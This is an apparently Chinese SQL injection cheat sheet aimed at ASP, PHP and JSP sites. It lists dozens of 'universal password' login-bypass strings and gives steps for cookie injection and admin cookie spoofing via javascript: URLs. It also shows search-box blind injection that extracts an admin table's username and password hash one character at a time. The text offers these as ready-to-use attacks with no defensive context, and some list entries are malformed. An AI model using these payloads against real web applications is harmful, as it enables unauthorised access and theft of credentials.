数据库其他注入思路 - 万能密码 - cookie注入 -搜索型注入

另类登录注入形式：

经常有一类验证(ASP,PHP,JSP均存在)，先判断user是否存在,ASP为例子："select password from admin where user_name='"&request("user_name")&"'";然后再判断密码MD5与之对比。

猜解思路可以构造，user_name: xxx' and password>'a    如果password第一位大于a,则继续user_name: xxx' and password>'b.

seelct * from admin where username='admin' and password=''注入方法：

万能用户名： xxx' union select * from users/*

select * from admin where username=admin and password=pass注入方法：
账户：777 密码：999 union select * from admin;

万能密码：

用户名：admin'or''='
密码：'or''='

username:' or 1=1 or ''=' passwd:随便写

'or'='or'
'or''='
'or 1=1
"or"="
'or 1=1/* php
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' ''=''
'or''='
'or''=''or''=' !!!!!
'or'=''
'or'='or'
'or.'a.'='a
'or1=1--
'or''='
a'or' =--
a'or'=--
or 'a'='a'
or =--
or1=--

cookie注入：

http://xxxx/view.asp?id=23
先访问http://xxxx/view.asp?id=23

接着在浏览器里输入：
javascript:alert(document.cookie="id="+escape("23 and 1=1"))
再访问http://xxxx/view.asp（未出错）

再输入：javascript:alert(document.cookie="id="+escape("23 and 1=2"))
再访问：http://xxxx/view.asp（出错）

该页面出错就表示可以用Cookie注入。

cookie欺骗
javascript:alert(document.cookie="adminuser="+escape("'or'='or'"));
javascript:alert(document.cookie="adminpass="+escape("'or'='or'"));
javascript:alert(document.cookie="admindj="+escape("1"));
然后login.asp改为admin_index.asp

搜索型注入

例如：
判断注入
%' and 1=1 and '%' ='
%' and 1=2 and '%' ='

判断是否存在表
%'and(select count(*)from admin)>0 and '%'='
判断是否存在字段段
%'and(select top 1 len(username)from admin) and '%'='
%'and(select top 1 len(password)from admin) and '%'='
猜字段中的内容范围
%'and(select top 1 asc(mid(username,1,1))from admin)>102 and '%'='

%'and(select top 1 asc(mid(username,1,1))from admin)>40 and '%'='

%'and(select top 1 asc(mid(username,1,1))from admin)=97 and '%'='
%'and(select top 1 asc(mid(username,2,1))from admin)=100 and '%'='
%'and(select top 1 asc(mid(username,3,1))from admin)=109 and '%'='
%'and(select top 1 asc(mid(username,4,1))from admin)=105 and '%'='
%'and(select top 1 asc(mid(username,5,1))from admin)=110 and '%'='

%'and(select top 1 asc(mid(password,1,1))from admin)=49 and '%'='
%'and(select top 1 asc(mid(password,2,1))from admin)=52 and '%'='
%'and(select top 1 asc(mid(password,3,1))from admin)=50 and '%'='
%'and(select top 1 asc(mid(password,4,1))from admin)=49 and '%'='
%'and(select top 1 asc(mid(password,5,1))from admin)=53 and '%'='
%'and(select top 1 asc(mid(password,6,1))from admin)=68 and '%'='
%'and(select top 1 asc(mid(password,7,1))from admin)=51 and '%'='
%'and(select top 1 asc(mid(password,8,1))from admin)=49 and '%'='
%'and(select top 1 asc(mid(password,9,1))from admin)=50 and '%'='
%'and(select top 1 asc(mid(password,10,1))from admin)=49 and '%'='
%'and(select top 1 asc(mid(password,11,1))from admin)=57 and '%'='
%'and(select top 1 asc(mid(password,12,1))from admin)=52 and '%'='
%'and(select top 1 asc(mid(password,13,1))from admin)=43 and '%'='
%'and(select top 1 asc(mid(password,14,1))from admin)=51 and '%'='
%'and(select top 1 asc(mid(password,15,1))from admin)=68 and '%'='
%'and(select top 1 asc(mid(password,16,1))from admin)=51 and '%'='